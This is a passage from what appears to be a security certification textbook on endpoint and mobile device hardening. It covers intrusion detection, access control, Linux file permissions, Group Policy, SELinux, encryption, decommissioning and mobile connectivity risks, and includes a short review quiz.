Host-based intrusion detection systems focus on detection and alerting, providing
notifications to systems administrators or security personnel when suspicious
activities are detected. In contrast, host-based intrusion prevention systems
detect and actively respond to threats by automatically blocking or mitigating
them.
One of the core features of HIDS is file integrity monitoring (FIM). This may be
implemented as a standalone feature. When software is installed from a legitimate
source (using signed code in the case of Windows or a secure repository in the
case of Linux), the OS package manager checks the signature or fingerprint of
each executable file and notifies the user if there is a problem. FIM software audits
key system files to ensure they match the authorized versions. In Windows, the
Windows File Protection service runs automatically and the System File Checker
(SFC) tool can be used manually to verify OS system files.

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Tripwire (tripwire.com) and OSSEC (ossec.net) are examples of multi-platform tools

with options to protect a wider range of applications. File integrity monitoring is
used to detect changes on endpoints, such as changes to important files or the
operating system configuration. When detected, changes can be investigated to
determine whether they are authorized.

User Behavior Analytics (UBA)/User and Entity Behavior

Analytics (UEBA)
User behavior analytics (UBA), also known as user and entity behavior analytics
(UEBA), is a cybersecurity approach based on monitoring and analyzing the
behavior of users within an organization to detect anomalies indicative of
potential threats, such as insider threats, compromised accounts, or fraud. UBA
leverages machine learning, data science, and statistical analysis techniques to
establish a baseline profile for an organization’s users and entities, including
how, when, and where they access the network, what resources they use, and
other behavior patterns. Once baseline profiles have been established, the UBA
system continuously monitors and compares new behavior against the established
baseline, alerting security personnel to any unusual or suspicious activities.
For example, UBA would alert on a user who regularly downloads small sets of files
during standard business hours but suddenly starts downloading large volumes of
data late at night. Another example may include a user who typically logs in from
a specific domestic location but suddenly starts logging in from a foreign country.
These activities could indicate a potential data breach or account compromise and
trigger a UBA system alert.
Some commercial UEBA products available at the time of writing include the
following:
• Splunk User Behavior Analytics (https://www.splunk.com/en_us/products/user-
behavior-analytics.html)

• IBM QRadar User Behavior Analytics (https://www.ibm.com/products/qradar-

siem/user-behavior-analytics)

• Rapid7 InsightIDR (https://docs.rapid7.com/insightidr/)

• Forcepoint Insider Threat (https://www.forcepoint.com/security/insider-threat)

Endpoint Configuration
If endpoint security is breached, there are several classes of vector to consider for
mitigation:
• Social Engineering—if the malware was executed by a user, use security
education and awareness to reduce the risk of future attacks succeeding. Review
permissions to see if the account could be operated with a lower privilege level.

• Vulnerabilities—if the malware exploited a software fault, install the patch or

isolate the system until a patch can be developed.

• Lack of Security Controls—if the attack could have been prevented by endpoint
protection/A-V, host firewall, content filtering, DLP, or MDM, investigate the
possibility of deploying them to the endpoint. If this is not practical, isolate the
system from being exploited by the same vector.

• Configuration Drift—if the malware exploited an undocumented configuration

change (shadow IT software or an unauthorized service/port, for instance),
reapply the baseline configuration and investigate configuration management
procedures to prevent this type of ad hoc change.

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• Weak Configuration—if the configuration was correctly applied, but was

exploited anyway, review the template to devise more secure settings. Make
sure the template is applied to similar hosts.

Access Control
Access control refers to regulating and managing the permissions granted to
individuals, software, systems, and networks to access resources or information.
Access controls ensure that only authorized entities can perform specific actions or
access certain data, while unauthorized entities are denied access. Access control
concepts apply to networks, physical access, data, applications, and the cloud.

Principle of Least Privilege

Implementing the principle of least privilege (PoLP) is a cornerstone of improving
endpoint protection and minimizing the risk of security issues. The principle of least
privilege dictates that users, applications, and processes should only be granted the
minimum permissions necessary to complete their duties and nothing more.
There are several practical methods for implementing least privilege. An essential
first step to effectively implementing least privilege is thoroughly auditing
user roles, privileges, and responsibilities. This process allows organizations to
understand what access each user needs to perform their job role effectively.
Access controls and permissions can be adjusted to adopt a principle of least
privilege that best reflects the audit results.
User and account management tools are also essential when implementing
the principle of least privilege. Regularly reviewing and removing unused or
unnecessary accounts reduces the potential targets for an attacker. Similarly,
temporary privileges, which grant additional access rights for a limited time
and only when required, can help keep privileges as restrictive as possible.
Another practical approach to restricting access is using role-based access control
(RBAC). RBAC assigns system access rights based on predefined roles, and each
role has a carefully defined set of permissions that match the requirements of any
particular role within the organization. This approach ensures that users have just
enough access to perform their tasks but nothing more.
The principle of least privilege also applies to software applications and operating
systems, not just to users. For instance, ensuring that applications run with the
minimum necessary permissions can prevent them from being exploited to carry
out privileged actions.

Access Control Lists

Access control lists (ACLs) in computer systems and networks are used to enforce
access control policies. An ACL is a list of rules or entries that specify which users
or groups are allowed or denied access to specific resources or perform certain
actions. In networks, ACLs are associated with routers, firewalls, or similar devices
and define rules that determine how network traffic is filtered or forwarded based
on criteria like source IP addresses, destination IP addresses, ports, or protocols.
ACLs can help to control network access and protect against unauthorized or
malicious activities. ACLs control access to files, directories, or system resources
in operating systems and file systems. Each access control entry (ACE) typically
contains a user or group identifier and associated permissions controlling actions
that are allowed or denied. These permissions often include read, write, execute,
and sometimes more granular limits such as modify, delete, or list.

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While ACLs offer flexibility and control, managing complex access control policies
with numerous ACL entries can become challenging. Complexity increases the
risk of misconfigurations. Therefore, proper planning, periodic reviews, and best
practice configurations are essential when implementing and maintaining ACLs.

File System Permissions

With file system security, each object in the file system has an access control list
(ACL) associated with it. The ACL contains a list of accounts (principals) allowed to
access the resource and the permissions they have over it. The order of ACEs in
the ACL is important in determining effective permissions for a given account.
ACLs can be enforced by a file system that supports permissions, such as NTFS,
ext3/ext4, or ZFS.

Configuring an access control entry for a folder. (Screenshot used with permission from Microsoft.)

For example, in Linux, there are three basic permissions:

• Read (r)—the ability to access and view the contents of a file or list the contents
of a directory.

• Write (w)—the ability to save changes to a file, or create, rename, and delete
files in a directory (also requires execute).

• Execute (x)—the ability to run a script, program, or other software file, or the
ability to access a directory, execute a file from that directory, or perform a task
on that directory, such as file search.

These permissions can be applied in the context of the owner user (u), a group
account (g), and all other users/world (o). A permission string lists the permissions
granted in each of these contexts:
d rwx r-x r-x home
The string above shows that for the directory (d), the owner has read, write, and
execute permissions, while the group context and other users have read and
execute permissions.

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The chmod command is used to modify permissions. It can be used in symbolic

mode or absolute mode. In symbolic mode, the command works as follows:
chmod g+w, o-x home
The effect of this command is to append write permission to the group context and
remove execute permission from the other context. By contrast, the command can
also be used to replace existing permissions. For example, the following command
applies the configuration shown in the first permission string:
chmod u=rwx,g=rx,o=rx home
In absolute mode, permissions are assigned using octal notation, where r=4, w=2,
and x=1. For example, the following command has the same effect:
chmod 755 home
In this example, the 755 correlates to the permissions assigned to the user, group,
and others, where user permissions are represented by 7, group permissions are 5,
and others are also 5. The numbers are generated by adding the values associated
with r (read), w (write), and x (execute). The only combination of values that can
result in 7 is 4+2+1 or r, w, x. Similarly, the only combination of values resulting in
5 is 4+1, or r,x. This means that the owner has r,w, and x whereas the group and
others have only r and x.

Application Allow Lists and Block Lists

One element of endpoint configuration is an execution control policy that defines
applications that can or cannot be run.
• An allow list (or approved list) denies execution unless the process is explicitly
authorized.

• A block list (or deny list) generally allows execution, but explicitly prohibits listed
processes.

The contents of allow lists and block lists needs to be updated in response to
incidents and ongoing threat hunting and monitoring.
Threat hunting may also provoke a strategic change. For example, if you rely
principally on explicit denies, but your systems are subject to numerous intrusions,
you will have to consider adopting a “least privileges” model and using a deny-
unless-listed approach. This sort of change can be highly disruptive, however, so it
must be preceded by a risk assessment and business impact analysis.
Execution control can also be tricky to configure effectively, with many
opportunities for threat actors to evade the controls. Detailed analysis of the attack
might show the need for changes to the existing mechanism or the use of a more
robust system.

Monitoring
Monitoring plays a vital role in endpoint hardening, helping to enforce and maintain
the security measures put in place during the hardening process. Once devices are
hardened, monitoring helps to ensure these conditions remain in place.
Security analysts can detect changes that weaken the hardened configuration
through continuous monitoring. For instance, if a previously disabled port is
detected as open or a service that was disabled is changed to enabled, monitoring
tools can alert analysts of the change—which may be indicative of a breach.

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Additionally, monitoring can provide valuable data for compliance and auditing
purposes. Regular reports on the status of endpoint devices can verify that
hardening baselines have been effectively deployed and maintained, supporting
compliance with various regulations and industry standards.

Configuration Enforcement
Configuration enforcement describes methods used to ensure that systems
and devices within an organization’s network adhere to mandatory security
configurations. Configuration enforcement generally depends upon a few important
capabilities.
• Standardized Configuration Baselines are defined by organizations like NIST,
CIS, or the organization itself and used as the benchmark for how systems and
devices should be configured.

• Automated Configuration Management Tools are used to apply and maintain

standardized configuration baselines across the environment automatically.

• Continuous Monitoring and Compliance Checks are crucial to detect

deviations from mandatory configurations.

• Change Management processes ensure configuration changes are properly

reviewed, tested, and approved before implementation.

Managing firewall rules across an organization’s network is a practical example of a

configuration setting that can benefit from configuration enforcement.
An organization can use an automated configuration management tool to
ensure device firewalls are correctly configured, including blocking all incoming
traffic by default and only allowing specific, necessary connections. Continuously
monitoring detects any changes and automatically reverts them to enforce
the secure, approved configuration.
Additionally, regular compliance checks ensure that firewalls adhere to approved
configuration settings, and any changes need to be reviewed and approved via
proper change management processes prior to implementation.

Group Policy
Group Policy is a feature of the Microsoft Windows operating system and provides
centralized management and configuration of operating systems, applications, and
user settings in an Active Directory environment. Group Policies enforce security
settings, such as those mandated in a baseline, by applying consistent settings
across all systems linked to specific Group Policies. In general terms, Group Polices
are linked to containers called Organizational Units (OUs) that normally contain
user and computer objects. The Group Policies linked to the OU apply to all objects
contained within it.
Examples of common Group Policy settings include password policies, user rights,
Windows Firewall settings, system update settings, software installation restrictions,
and many others. Applying settings centrally using Group Policy reduces potential
issues related to misconfigurations or inconsistent settings.

SELinux
SELinux is a security feature of the Linux kernel that supports access control
security policies, including mandatory access controls (MAC). SELinux allows
more granular permission control over every process and system object within
an operating system, strictly limiting the resources a process can access and what
operations it can perform. SELinux operates on the principle that if a process
or user does not need resource access to operate, it will be blocked to isolate

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applications better, restrict system and file access, and prevent malicious or flawed
programs from causing harm to the system. SELinux capabilities are also available
on the Android operating system https://source.android.com/docs/security/
features/selinux. Due to the significant architectural differences between Linux
and Android, SELinux capability on Android is enabled using SEAndroid to provide
similar functionality but using a separately maintained codebase.

Hardening Techniques
Different hardening approaches are required to protect endpoints in response to
a wide variety of constantly evolving cybersecurity threats. These threats require a
layered and comprehensive defense strategy addressing vulnerabilities at multiple
levels, from physical access to network protocols, operating system configurations,
and user behaviors.

Protecting Ports
Physical device port hardening involves restricting the physical interfaces on a
device that can be used to connect to it, thereby reducing potential avenues of
physical attack. One common technique is disabling unnecessary physical ports
such as USB, HDMI, or serial ports when they serve no business purpose. Doing so
can help prevent unauthorized data transfer, installation of malicious software, or
direct access to a system.
Port control software provides additional protection by allowing only authorized
devices to connect via physical ports based on device identifiers. For instance, it
might block all USB mass storage devices except company-approved ones.
Security analysts can leverage settings in device firmware or UEFI/BIOS for port
hardening to disable physical ports or to require a password before a device can
boot from a nonstandard source like a USB drive. For devices such as tablets and
laptops that depend upon wireless protocols, disabling the automatic network
connection feature can prevent the device from using potentially insecure or rogue
networks.
As revealed by researcher Karsten Nohl in his BadUSB paper (https://assets.
website-files.com/6098eeb4f4b0288367fbb639/62bc77c194c4e0fe8fc5e4b5_
SRLabs-BadUSB-BlackHat-v1.pdf), exploiting the firmware of external storage
devices, such as USB flash drives and even standard-looking device charging cables,
presents adversaries with an incredible toolkit. The firmware can be reprogrammed
to make the device look like another device class, such as a keyboard. In this case, it
could then be used to inject a series of keystrokes upon an attachment or work as
a keylogger. The device could also be programmed to act like a network device and
corrupt name resolution, redirecting the user to malicious websites.
Another example is the O.MG cable (theverge.com/2019/8/15/20807854/apple-
mac-lightning-cable-hack-mike-grover-mg-omg-cables-defcon-cybersecurity), which
packs enough processing capability into an ordinary-looking USB-Lightning cable to
run an access point and keylogger.
A modified device may have visual clues that distinguish it from a mass
manufactured thumb drive or cable, but these may be difficult to spot. You should
warn users of the risks and repeat the advice to never attach devices of unknown
provenance to their computers and smartphones. If you suspect a device as an
attack vector, observe a sandboxed lab system (sometimes referred to as a sheep
dip) closely when attaching the device. Look for command prompt windows or
processes, such as the command interpreter starting and changes to the registry or
other system files.

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Not all attacks have to be so esoteric. USB sticks infected with ordinary malware are
still incredibly prolific infection vectors. Hosts should always be configured to prevent
autorun when USB devices are attached. USB ports can be blocked altogether using
most types of host intrusion detection systems (HIDS).

Protecting logical ports involves implementing measures to secure and control

access to ports within a computer system or network. Logical ports are software-
based communication features that enable data exchange between applications or
services. Common examples of logical ports include the well-known ports used by
TCP/IP and UDP protocols.
Firewalls protect logical ports by examining network traffic and enforcing security
policies to allow or block specific connections based on port numbers, source and
destination addresses, and protocols. Service hardening practices ensure that
services running on logical ports are hardened against security threats. Examples
include keeping software updated and turning off unnecessary services.

Encryption Techniques
Endpoint encryption is critical to protecting sensitive data, especially in an
enterprise setting. Several different approaches are required to protect data on
endpoints. Some important ones include the following:
• Full Disk Encryption (FDE) encrypts the entire hard drive of a device. It ensures
that all data, including the operating system and user files, are protected even
while the operating system is not running. Tools like BitLocker for Windows and
FileVault for macOS provide full disk encryption capabilities.

• Removable Media Encryption ensures that data remains protected even when
physically removed from devices such as SDCards or USB mass storage devices.
Many FDE tools also include options for encrypting removable media.

• Virtual Private Networks (VPNs) complement endpoint encryption by

providing a secure tunnel for data transmission that protects against
eavesdropping, on-path, and many other attack types.

• Email Encryption protects sensitive information stored in emails using protocols

like PGP (Pretty Good Privacy) or S/MIME (Secure/Multipurpose Internet Mail
Extensions).

Host-Based Firewalls and IPS

Host-based firewalls and intrusion prevention systems (IPS) are vital elements of
endpoint hardening, as they provide controls for incoming and outgoing network
traffic and are essential for detecting potential attacks. An important technique for
using them when hardening endpoints involves implementing default-deny policies
to block all traffic unless explicitly allowed. This tactic ensures that only approved
services and applications can communicate. Configuring firewalls to block or allow
traffic based on port numbers is also critical to minimize entry points for attack.
Traffic filtering enables firewalls and IPS to sift through traffic based on parameters
like IP addresses, protocols, and services to block malicious traffic or only allow
traffic to use secure protocols.
An integral part of IPS is detecting and preventing intrusions by monitoring for
known malicious patterns or anomalies in network traffic. Advanced host-based
firewalls often include application control features which permit only trusted
applications to communicate. The logs generated by host-based firewalls and IPS
support rapid detection and response when integrated with other security tools like
security information and event management (SIEM) systems.

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Installing Endpoint Protection

To ensure maximum protection and efficient management, deploying and
managing endpoint protection agents on workstations, laptops, and servers in an
enterprise environment requires strategic planning and adherence to established
best practice configuration and management practices.
• Create a Deployment Plan with considerations such as the deployment order
(such as which devices or departments get agents first), time frames, and
leveraging stages to limit potential disruptions caused by endpoint protection
settings.

• Standardize Configurations for endpoint protection across all devices to

ensure consistency in protection levels and simplify compliance management.

• Automate Deployments using tools like Microsoft’s System Center

Configuration Manager (SCCM), Group Policy, or third-party solutions to save
time, improve consistency, and reduce the risk of human error.

• Updates and Patches to endpoint protection agent software and definitions

are required to ensure the highest levels of protection against the latest known
threats.

• Monitor endpoint protection agents to check for alerts or signs of potential

security incidents, verify that agents are running, and ensure that updates and
patches are applied successfully.

• Centralize Management to provide a comprehensive view of endpoint

configurations, updates, and status. Centralized management also allows
administrators to enforce global security policies.

Changing Defaults and Removing Unnecessary Software

Changing default passwords and removing unnecessary software are two
fundamental practices in hardening an endpoint to strengthen its security posture.
Default passwords, often set by manufacturers, are widely known and easily
discoverable, making devices that use them particularly vulnerable to unauthorized
access. Therefore, changing these passwords to strong, unique credentials is crucial
as part of the initial setup process for any device or system.
Removing unnecessary software is another critical step when hardening an
endpoint. Each software application introduces potential vulnerabilities that
malicious actors could exploit. The attack surface is significantly reduced by
reducing the number of software applications to only those necessary for
the device’s intended function. This includes not only removing unnecessary
applications but also disabling unnecessary features or services within remaining
applications. This practice simplifies the maintenance and patch management
process because there are fewer applications to update, reducing the chances of
missing a critical security patch.
An enterprise-grade multifunction network printer presents a variety of potential
security vulnerabilities if not adequately managed. These complex devices often
arrive with manufacturer-set default passwords intended for initial setup and
administrative access, which are typically widely known and easily accessible.
Changing these passwords immediately upon installation to unique, strong
passwords is critical. Multifunction printers usually boast a broad array of
features. Features not explicitly needed in the environment, such as cloud printing
capabilities, email features, or web server interfaces, should be disabled to
minimize potential attack vectors.

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Regular firmware updates from the manufacturer are crucial to patching any known
vulnerabilities in older firmware versions, fortifying the printer’s security. If possible,
utilize encrypted network protocols like HTTPS for web interfaces and SNMPv3 for
device management to protect data, including passwords, through unencrypted
protocols. Access to the printer should be based on the principle of least privilege,
granting only the access necessary for specific tasks.

Decommissioning
Decommissioning processes play a vital role in supporting security within an
organization. When a device is no longer needed, it often contains residual data,
potentially sensitive information, and system configurations that could be exploited.
A thorough and systematic decommissioning process ensures that all data is
securely erased or overwritten to reduce the risk of exposure. Decommissioning
also involves resetting devices to their factory settings and eliminating any
residual settings. Updating inventory records during decommissioning is also
important to maintain an accurate account of active assets and support compliance
requirements that mandate accurate asset tracking and secure disposal.
Decommissioning hardware securely is essential as they often store sensitive data
on internal drives and retain potentially exploitable configuration and user data.
Data sanitization is a critically important step in the decommissioning process and
describes how all data on the device or removable media is securely erased to
ensure no recoverable data remains.
Additionally, the device should be reset to its factory settings via a management
console or other utility, eliminating any residual system configurations or settings
that could pose a security risk. Disposing of physical equipment often warrants the
physical destruction of some internal components like memory modules, hard disk
drives (HDD), solid state disks (SSD), M.2, or other storage modules, especially if
they have stored sensitive data. In some scenarios, a professional disposal service
specializing in certified secure disposal of electronic components may be the most
appropriate choice.
The final step in the decommissioning process involves documentation and
updating inventory records to reflect that the device has been decommissioned.
This step ensures an accurate asset record and compliance with security standards
and regulations.

For example, a multifunction network printer's decommissioning steps would

include sanitization of stored print jobs, scanned documents, and (potentially) fax
transmissions; wiping stored network credentials and configuration data; performing
a full factory reset; secure disposal or destruction of physical components; and asset
inventory updates to reflect the device's status.

Hardening Specialized Devices

Industrial control systems (ICS), including supervisory control and data acquisition
(SCADA) systems, embedded systems, real-tTime operating systems (RTOS), and
Internet of Things (IoT) devices, have been targeted for attack more frequently in
recent years due to their vital role in controlling critical infrastructures.
General hardening strategies apply to these systems, including common controls
such as regular system updates, disabling unnecessary services, limiting network
access, using secure credentials, and using role-based access controls. Network-
level security should also be implemented to protect them, such as firewalls,
IDS/IPS, transport encryption protocols like TLS and SSH, regular security audits,
and penetration tests to help identify and remediate vulnerabilities.

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Hardening ICS/SCADA
For ICS/SCADA systems, hardening involves strict network segmentation to isolate
these systems from the wider network and robust authentication and authorization
processes to limit system access strictly. ICS/SCADA is often used to control physical
operations.
Ensuring protection from cyber and physical threats is even more crucial because
breaches can result in environmental disasters, power/gas/water utility failure,
and loss of life. A unique control often used to protect ICS/SCADA is unidirectional
gateways (or data diodes), which ensure that data only flows outward from these
systems, protecting them from inbound attacks.

Hardening Embedded and RTOS

Given their constrained resources, simple embedded systems and RTOS typically
do not support traditional security measures. Ideally, security is designed into
these systems from the start, considering aspects such as secure coding practices,
minimal design (where the system has only the features it needs to perform its
function), secure boot mechanisms, physical tamper-proofing, and comprehensive
security testing.
The organization must select devices based on security capabilities and quality
instead of focusing solely on useability features and cost. IoT devices present similar
hardening challenges as those outlined previously but also include significant
privacy issues. Ultimately, each type of device requires a carefully tailored approach
to hardening.
Security standards and certifications play a significant role in the security and
integrity of real-time operating systems (RTOS) and embedded systems by providing
guidelines, best practices, and benchmarks for designing, implementing, and
evaluating the security of these systems. Security standards define requirements,
controls, and procedures relevant to RTOS and embedded systems and include
“Common Criteria” (ISO/IEC 15408), IEC 62443, MISRA-C, and CERT Secure Coding
Standards. Certifications demonstrate compliance with specific security standards,
assure that a system or product meets preestablished security requirements, and
include ISO 27001, IEC 61508, and others.
Security standards and certifications help establish a framework for assessing,
implementing, and validating security controls in RTOS and embedded systems.
They provide a common language and criteria for evaluating the security of these
systems and provide confidence in their security capabilities.

More information regarding the Common Criteria can be obtained from https://www.
commoncriteriaportal.org.

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Review Activity:
Endpoint Security
3

Answer the following questions:

1. What is a hardened configuration?

2. True or false? Only Microsoft’s operating systems and applications

2.

require security patches.

3. Why are OS-enforced file access controls not sufficient in the event of
3.

the loss or theft of a computer or mobile device?

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Topic 10B
Mobile Device Hardening
4

EXAM OBJECTIVES COVERED

4.1 Given a scenario, apply common security techniques to computing resources.

Mobile device hardening is critical to cybersecurity and includes several essential

practices designed to protect devices from threats and vulnerabilities, including
(at a minimum) controls such as regular updates, access restrictions, secure
configurations, encryption, screen locks, network access controls, application
restrictions, limiting features like Bluetooth and NFC, and leveraging mobile device
management (MDM) solutions to centralize management and enforce device
compliance.

Mobile Hardening Techniques

There are many similarities between hardening mobile devices or traditional
desktop computers. Both necessitate operating system patches; strong, unique
passwords; endpoint protection software; the principle of least privilege; and other
similar controls.
However, there are also differences based on special features available with mobile
devices. For example, mobile devices are more prone to physical loss or theft,
increasing the importance of remote wiping capabilities, encryption, and secure
lock screens.
The mobile app ecosystem includes many apps with different access permission
requirements that present unique data privacy and protection challenges.
Compared to traditional computers, mobile devices typically have GPS, Bluetooth,
and are NFC enabled, which open additional avenues for attacks if they are
inadequately managed.

Deployment Models
Mobile device deployment models are critical in defining how an organization uses,
manages, and secures devices. The chosen deployment model impacts everything
from the user experience to the organization’s level of control over the device.
• Bring your own device (BYOD)—means the mobile device is owned by the
employee. The device must comply with established requirements developed
by the organization (such as OS version and device capabilities), and the
employee must agree to having corporate apps installed and acknowledge the
organization’s right to perform audit and compliance checks within the limits
of legal and regulatory rules. This model is popular with employees but poses
significant risk for security operations.

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• Corporate owned, business only (COBO)—means the device is the property of

the organization and may only be used for company business.

• Corporate owned, personally enabled (COPE)—means the device is chosen

and supplied by the organization and remains its property. The employee may
use it to access personal email and social media accounts and for personal web
browsing (subject to the requirements of established acceptable use policies).

• Choose your own device (CYOD)—is similar to COPE except the employee is
given a choice of devices to select from a preestablished list.

Models such as Bring Your Own Device (BYOD), Choose Your Own Device (CYOD),
and Corporate Owned, Personally Enabled (COPE) provide varying degrees of
control and flexibility to both the organization and the employee. For example,
BYOD can offer equipment cost savings to the organization and flexibility for
employees, but it also introduces security challenges caused by mixing personal
and professional data. In contrast, COPE gives the organization greater control
over the device, thereby improving security, but it requires more spending on
equipment.
Selecting the appropriate mobile device deployment model is vital to effectively
balance productivity, user satisfaction, cost efficiency, and security in the workplace.

Mobile Device Management

Mobile device management (MDM) is a critical strategy IT departments use to
manage, secure, and enforce policies on smartphones, tablets, and other endpoints.
The significance of MDM has grown dramatically due to the increase in popularity
of remote work and bring-your-own-device (BYOD) policies. MDM functionality
is broad and includes sophisticated security management features, making it
an essential tool in enterprise IT management. MDM allows IT departments to
maintain an inventory of all mobile devices accessing corporate resources and
helps ensure that only authorized devices maintain access. Additionally, MDM can
enforce security policies, such as enforcing device encryption or mandating screen
locks. MDM can enable remote lock or wipe capabilities to protect sensitive data if a
device is lost or stolen.
MDM helps centralize and enforce device hardening configurations and can reduce
vulnerabilities through standard controls such as disabling unnecessary features
or services, enforcing security features, and restricting app installations. MDM can
also manage device updates and patches to ensure they are protected against
known vulnerabilities and quarantine or remove devices that don’t meet security
requirements.
Some common tasks managed by MDM include distributing and updating
enterprise applications, managing corporate email accounts, managing device
geo-tracking and geofencing, managing application allow or block listing, controlling
Internet access or use, and many other features. Several popular MDM platforms
are available in the market at the time of writing. Apple’s MDM solution is built into
its operating systems, allowing for managing Macs, iPhones, and iPads, and Google
has an equivalent solution for Android devices known as Android Enterprise.
Platform-agnostic solutions include platforms such as Microsoft Intune, VMware
AirWatch, and IBM MaaS360. Platform-agnostic solutions provide extensive
features and capabilities to meet a wide range of needs but can be complicated and
expensive to implement and manage.

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Full Device Encryption and External Media

All but the early versions of mobile device OSes for smartphones and tablets
provide full device encryption. In iOS, there are various levels of encryption.
• All user data on the device is always encrypted, but the key is stored on the
device. This is primarily used as a means of wiping the device. The OS just needs
to delete the key to make the data inaccessible rather than wiping each storage
location.

• Email data and any apps using the “Data Protection” option are subject to a
second round of encryption using a key derived from and protected by the user’s
credential. This provides security for data in the event that the device is stolen.
Not all user data is encrypted using the “Data Protection” option; contacts, SMS
messages, and pictures are not, for example.

In iOS, Data Protection encryption is enabled automatically when you configure

a password lock on the device. In Android, there are substantial differences to
encryption options between versions (source.android.com/security/encryption).
As of Android 10, there is no full disk encryption as it is considered too detrimental
to performance. User data is encrypted at file-level by default.
A mobile device contains a solid state (flash memory) drive for persistent storage of
apps and data. Some Android handsets support removable storage using external
media, such as a plug-in Micro Secure Digital (SD) card slot; some may support the
connection of USB-based storage devices. The mobile OS encryption software might
allow encryption of the removable storage, too, but this is not always the case. Care
should be taken to apply encryption to storage cards using third-party software if
necessary and to limit sensitive data being stored on them.
A MicroSD HSM is a small form factor hardware security module designed to store
cryptographic keys securely. This allows the cryptographic material to be used with
different devices, such as a laptop and smartphone.

Location Services
Geolocation is the use of network attributes to identify (or estimate) the physical
position of a device. The device uses location services to determine its current
position. Location services can make use of two systems:
• Global Positioning System (GPS)—a means of determining the device’s latitude
and longitude based on information received from satellites via a GPS sensor.

• Indoor Positioning System (IPS)—works out a device’s location by triangulating

its proximity to other radio sources, such as cell towers, Wi-Fi access points, and
Bluetooth/RFID beacons.

Location services is available to any app where the user has granted the app
permission to use it.

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The primary concern surrounding location services is one of privacy. Although

very useful for maps and turn-by-turn navigation, it provides a mechanism to
track an individual’s movements, and therefore their social and business habits.
The problem is further compounded by the plethora of mobile apps that require
access to location services and then both send the information to the application
developers and store it within the device’s file structure. If an attacker can gain
access to this data, then stalking, social engineering, and even identity theft become
real possibilities.

Geofencing and Camera/Microphone Enforcement

Geofencing is the practice of creating a virtual boundary based on real-world
geography. Geofencing can be a useful tool with respect to controlling the use of
camera or video functions or applying context-aware authentication.
An organization may use geofencing to create a perimeter around its office
property, and subsequently, limit the functionality of any devices that exceed this
boundary. An unlocked smartphone could be locked and forced to reauthenticate
when entering the premises, and the camera and microphone could be disabled.
The device’s position is obtained from location services.

Restricting device permissions such as camera and screen capture using Intune.
(Screenshot used with permission from Microsoft.)

GPS Tagging
GPS tagging is the process of adding geographical identification metadata, such
as the latitude and longitude where the device was located at the time, to media
such as photographs, SMS messages, video, and so on. It allows the app to place
the media at specific latitude and longitude coordinates. GPS tagging is highly
sensitive personal information and potentially confidential organizational data.
GPS tagged pictures uploaded to social media could be used to track a person’s
movements and location. For example, a Russian soldier revealed troop positions
by uploading GPS tagged selfies to Instagram (arstechnica.com/tech-policy/2014/08/
opposite-of-opsec-russian-soldier-posts-selfies-from-inside-ukraine).

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Cellular and GPS Connection Methods

Mobile devices use a variety of connection methods to establish communications in
local and personal area networks and for Internet data access via service providers.

Locking down Android connectivity methods with Intune—note that most settings can be applied
only to Samsung KNOX-capable devices. (Screenshot used with permission from Microsoft.)

Cellular/Mobile Data Connections

Smartphones, tablets, and laptops use mobile data networks for data
communication. Mobile data connections are unlikely to be subject to monitoring
and filtering.
Protecting cellular data connections requires implementing various controls on
the endpoints to ensure the security and privacy of corporate data transmitted
over cellular networks because mobile data communication effectively bypasses
network protections implemented in the enterprise environment. Technologies
that protect cellular data connections include user awareness and training, virtual
private networks (VPN), mobile device management (MDM), mobile threat defense,
and data loss prevention (DLP).

Global Positioning System (GPS)

A global positioning system (GPS) sensor triangulates the device position using
signals from orbital GPS satellites. As this triangulation process can be slow, most
smartphones use Assisted GPS (A-GPS) to obtain coordinates from the nearest cell
tower and adjust for the device’s position relative to the tower. A-GPS uses cellular
data. GPS satellites are operated by the US Government. Some GPS sensors can
use signals from other satellites operated by the EU (Galileo), Russia (GLONASS), or
China (BeiDou).
GPS signals can be jammed or even spoofed using specialist radio equipment. This
might be used to defeat geofencing mechanisms, for instance (kaspersky.com/blog/
gps-spoofing-protection/26837).

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Wi-Fi and Tethering Connection Methods

Mobile devices usually default to using a Wi-Fi connection for data, if present. If the
user establishes a connection to a corporate network using strong WPA3 security,
there is a fairly low risk of eavesdropping or on-path attacks. The risks from Wi-Fi
come from users connecting to open access points or possibly a rogue access point
imitating a corporate network. These allow the access point owner to launch any
number of attacks, even potentially compromising sessions with secure servers
(using a DNS spoofing attack, for instance).

Personal Area Networks (PANs)

Personal area networks (PANs) enable connectivity between a mobile device and
peripherals. Ad hoc (or peer-to-peer) networks between mobile devices or between
mobile devices and other computing devices can also be established. In terms of
corporate security, these peer-to-peer functions should generally be disabled. It
might be possible for an attacker to exploit a misconfigured device and obtain a
bridged connection to the corporate network.

Ad Hoc Wi-Fi and Wi-Fi Direct

Wireless stations can establish peer-to-peer connections with one another
rather than using an access point. This can also be called an ad hoc network,
meaning that the network is not made permanently available. There is no
established standards-based support for ad hoc networking however. MITRE
has a project to enable Android smartphones to configure themselves in an ad
hoc network (mitre.org/research/technology-transfer/open-source-software/
smartphone-ad-hoc-networking-span).
Wi-Fi Direct allows one-to-one connections between stations, though in this case
one of the devices actually functions as a soft access point. Wi-Fi Direct depends
on Wi-Fi Protected Setup (WPS), which has many vulnerabilities. Android supports
operating as a Wi-Fi Direct AP, but iOS uses a proprietary multipeer connectivity
framework. You can connect an iOS device to another device running a Wi-Fi Direct
SoftAP, however.
There are also wireless mesh products from vendors such as Netgear and Google
that allow all types of wireless devices to participate in a peer-to-peer network.
These products might not be interoperable, though more are now supporting the
EasyMesh standard (wi-fi.org/discover-wi-fi/wi-fi-easymesh).

Tethering and Hotspots

A smartphone can share its Internet connection with another device, such as
a PC. Where this connection is shared over Wi-Fi with multiple other devices,
the smartphone is described as a hotspot. Where the connection is shared by
connecting the smartphone to a PC with a USB cable or with a single PC via
Bluetooth, also referred to as tethering. However, the term “Wi-Fi tethering”
is also quite widely used to mean a hotspot.
This type of functionality would typically be disabled when the device is connected
to an enterprise network as it might be used to circumvent security mechanisms
such as data loss prevention or web content filtering policies.

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Bluetooth Connection Methods

Bluetooth is a radio-based wireless technology designed to implement short-range
personal area networking. Some security issues associated with Bluetooth include
the following:
• Device Discovery—is when a device can be put into discoverable mode meaning
that it will connect to any other Bluetooth devices nearby. Unfortunately, even a
device in non-discoverable mode can still be detected.

• Authentication and Authorization—is when devices authenticate (“pair”) using

a simple passkey configured on both devices. This should always be changed
to some secure phrase and never left as the default, such as “0000.” Also, the
device’s pairing list should be regularly checked to confirm that the devices listed
are valid.

